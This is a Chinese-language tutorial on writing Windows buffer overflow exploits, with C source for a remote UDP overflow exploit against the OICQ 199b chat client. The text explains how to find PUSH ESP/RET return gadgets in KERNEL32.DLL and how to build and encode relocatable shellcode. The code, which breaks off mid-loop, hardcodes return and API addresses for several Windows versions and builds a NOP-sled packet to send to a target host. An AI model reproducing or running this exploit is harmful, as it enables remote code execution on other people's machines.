?? windows下的溢出程序編寫技巧.txt
字號:
WINDOWS下的溢出程序編寫技巧
看了些WINDOWS下的溢出程序,覺得不夠統一、完美,決定做一個相對較統一的編寫方法,試著解決了些問題。
1、JMP ESP 的問題。
為了盡量統一,都使用KERNERL32。DLL的代碼,因為至少同一系統KERNEL32。DLL模塊裝載地址變化可能小,別的模塊可能隨著安裝應用軟件的環境不同裝載地址不同,還有其模塊安裝是KERNEL32。DLL在比較前面,后面的模塊安裝地址要隨前面模塊的變動而變動,所以還是決定用KERNEL32。DLL相對比較統一(就是同一系統不同版本)。解決了JMP ESP (FF E4)代碼找不到問題,增加使用
PUSH ESP (54)
。。。。
RET (C3)
或者
PUSH ESP (54)
。。。。
RET 00XX (C2 XX 00) (RET NUM ,NUM最好不要太大,所以做限制 NUM=00XX)
代碼,這可以找到很多了。“。。。”為幾條不定語句,但要不影響功能的。
比如找到一處代碼就可以使用:
PUSH ESP
AND AL,08
RET 10
選擇原則盡量使用模塊前面的可用的,因為不同版本前面的相同可能要大。
因為9X與NT系統模塊裝載地址有很大區別,所以用這方法不可能統一,我看了WINNT、WIN2000竟然KERNEL32。DLL的裝載地址也不一樣,真有點。。。。具體哪個程序的溢出可以試著找那程序中的 JMP ESP,但這地址一般都是0X00XXXXXX,所以也有問題。 這是否可以在程序中先識別要攻擊系統的系統?下面程序是用宏定義。
2、解決SHELLCODE的編寫問題。
原來很多程序的SHELLCODE都是用先編寫好后用"\XAA\XBB"的形式寫出來,一個是不好修改,還有不好看到底是什么SHELLCODE。所以想法是SHELLCODE和溢出程序一起編寫。這對SHELLCODE編寫稍微有點要求,這就是要求SHELLCODE代碼是可移動代碼,就是整個代碼地址移動照常運行。為了減少不兼容,函數調用地址也用LOADLIBRARY和GETPROCADDRESS得到,這樣SHELLCODE就只依靠這兩個參數。其實這兩個參數也可以在內存里面找到KERNEL32。DLL模塊,再根據函數引出表自己得到地址。那樣就只有JMP ESP地址在WINNT、WIN200、WIN9X下沒有統一了。
程序中已經大致有了SHELLCODE編寫的雛形。現在有幾個問題:
一,確定SHELLCODE函數代碼地址,直接指定得到的是一個JMP SHELLCODE的地址,應該有方法直接得到的。
二,SHELLCODE用C編寫編譯后往往有_CHKESP的一個調用,這可以改匯編編寫或者找到里面的call _CHKESP的代碼用NOP填充。
3、SHELLCODE字符往往有要求,決定對SHELLCODE編碼,前面加一小段代碼對SHELLCODE解碼,編碼為符合要求的SHELLCODE,這減輕對SHELLCODE編寫的要求。不同要求主要改寫這一小段編碼代碼。
/* oicq 199b build 0220 overflow program
copy by yuange <yuange@163.net> 2000。04。18
新版本0410有堆溢出,用這程序可以攻擊,但不能執行SELLCODE
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#define NUKEWIN2000
//#define NUKEWIN9X
#ifdef NUKEWIN2000
#define RETEIPADDR eipwin2000
#define LoadLibraryfnaddress 0x77e78023 //0x77E60000+0x00018023 LoadLibrary
#define GetProcAddressfnaddress 0x77e7564b //0X77E60000+0x0001564B GetProcAddress
#else
#ifdef NUKEWIN9X
#define RETEIPADDR eipwin9x
#define LoadLibraryfnaddress 0xbff77750 //0xbff70000+0x00007750 LoadLibrary
#define GetProcAddressfnaddress 0xbff76e28 //0xbff70000+0x00006e28 GetProcAddress
#else
#define RETEIPADDR eipwinnt
#define LoadLibraryfnaddress 0x77EE391A //0x77ED0000+0x0001391A LoadLibrary
#define GetProcAddressfnaddress 0x77eE4111 //0x77ED0000+0x00014111 GetProcAddress
#endif
#endif
#define NOPCODE 0x90
#define BUFFSIZE 0x2000
#define OICQPORT 4000
#define OICQOVERADD 7+0x41C
#define OVERADD OICQOVERADD
#define STR0 0
#define STR1 11
#define STR2 23
#define STR3 33
#define STR4 39
#define STR5 51
void shellcodefnlock();
void shellcodefn();
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
char *server;
char *str="user32.dll""\x0""MessageBoxA""\x0"" secuess""\x0"" OK!""\x0""msvcrtd.dll""\x0""exit""\x0";
char buff1[]="\x02\x01\x07\x00\x78\x11\x22\x33\x33\x33\x33\x33\x1f\x30\x1f\x37\x35\x1f""2000-4-10""\x1f""12:00:00""\x1f";
/* oicq udp head */
//0x77ed0000+0x1ddd4 kernel32.dll // push esp // and al,08 // ret 0c
char eipwinnt[] ="\xd4\xdd\xee\x77"; //0x77ed0000+0x0001ddd4
char eipwin2000[] ="\xea\x17\xe8\x77"; //0x77e60000+0x000217ea
// kernel32.dll // push esp // and al,08 // ret 0c
//0x77e2e32a user32.dll JMP ESP
char eip2win2000[] = "\x2a\xe3\xe2\x77"; //0x77df0000+0x0003e32a
char eipwin9x[] = "\xd9\x6a\xf7\xbf"; //0xbff70000+0x00006ad9
// Kernel32.dll 4.10.2184 0xbff70000+0x0006ad9
// push esp // and al,0x10; // ret 0x10;
char buff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
unsigned int i,j,k;
unsigned char temp;
int fd;
u_short port,port1;
SOCKET d_ip;
WSADATA wsaData;
int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
if(argc <2)
{
WSACleanup( );
fprintf(stderr,"\n nuke oicq .\n copy by yuange 2000.4.1. \n wellcome to my homepage http://yuange.yeah.net .");
fprintf(stderr, "\n usage: %s <server> [port] \n", argv[0]);
exit(1);
}
else server = argv[1];
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port = atoi(argv[2]);
else port=OICQPORT;
if(port==0) port=OICQPORT;
fd = socket(AF_INET, SOCK_DGRAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in2.sin_family = AF_INET;
if(argc>3) port1=atoi(argv[3]);
else port1=OICQPORT;
if(port1==0) port1=OICQPORT;
s_in2.sin_port = htons(port1);
s_in2.sin_addr.s_addr =0;
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
bind(fd,(const struct sockaddr FAR* )&s_in2, sizeof(struct sockaddr_in));
printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
memset(buff,NOPCODE,BUFFSIZE);
memcpy(buff,buff1,37);
_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
// (int *) i=(int*) *chkespadd;
_asm{
mov EDI,dword ptr [chkespadd]
mov EDI,[EDI]
mov i,EDI
}
chkespadd+=i;
chkespadd+=4;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
// (int *) k=(int *) *shellcodefnadd;
_asm{
mov EDI,dword ptr [shellcodefnadd]
mov EDI,[EDI]
mov k,EDI
}
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break;
}
memcpy(buff+OVERADD+0x20,shellcodefnadd+k+4,80);
shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
// (int *)k=*shellcodefnadd;
_asm{
mov EDI,dword ptr [shellcodefnadd]
mov EDI,[EDI]
mov k,EDI
}
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break;
}
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
memcpy(shellcodebuff+k,str,0x80);
sendpacketlong=k+0x80;
for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+0x20+k,"\x90\x90\x90\x90",4)==0) break;
}
for(i=0;i<sendpacketlong;++i){
temp=shellcodebuff[i];
temp&=0xf0;
temp=temp/0x10;
temp+=0x41;
buff[OVERADD+0x20+k]=temp;
++k;
temp=shellcodebuff[i];
temp&=0x0f;
temp+=0x41;
buff[OVERADD+0x20+k]=temp;
++k;
}
memcpy(buff+OVERADD,RETEIPADDR,4);
sendpacketlong=OVERADD+0x20+k+0x10;
for(i=0;i<1;++i){
j=rand();
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -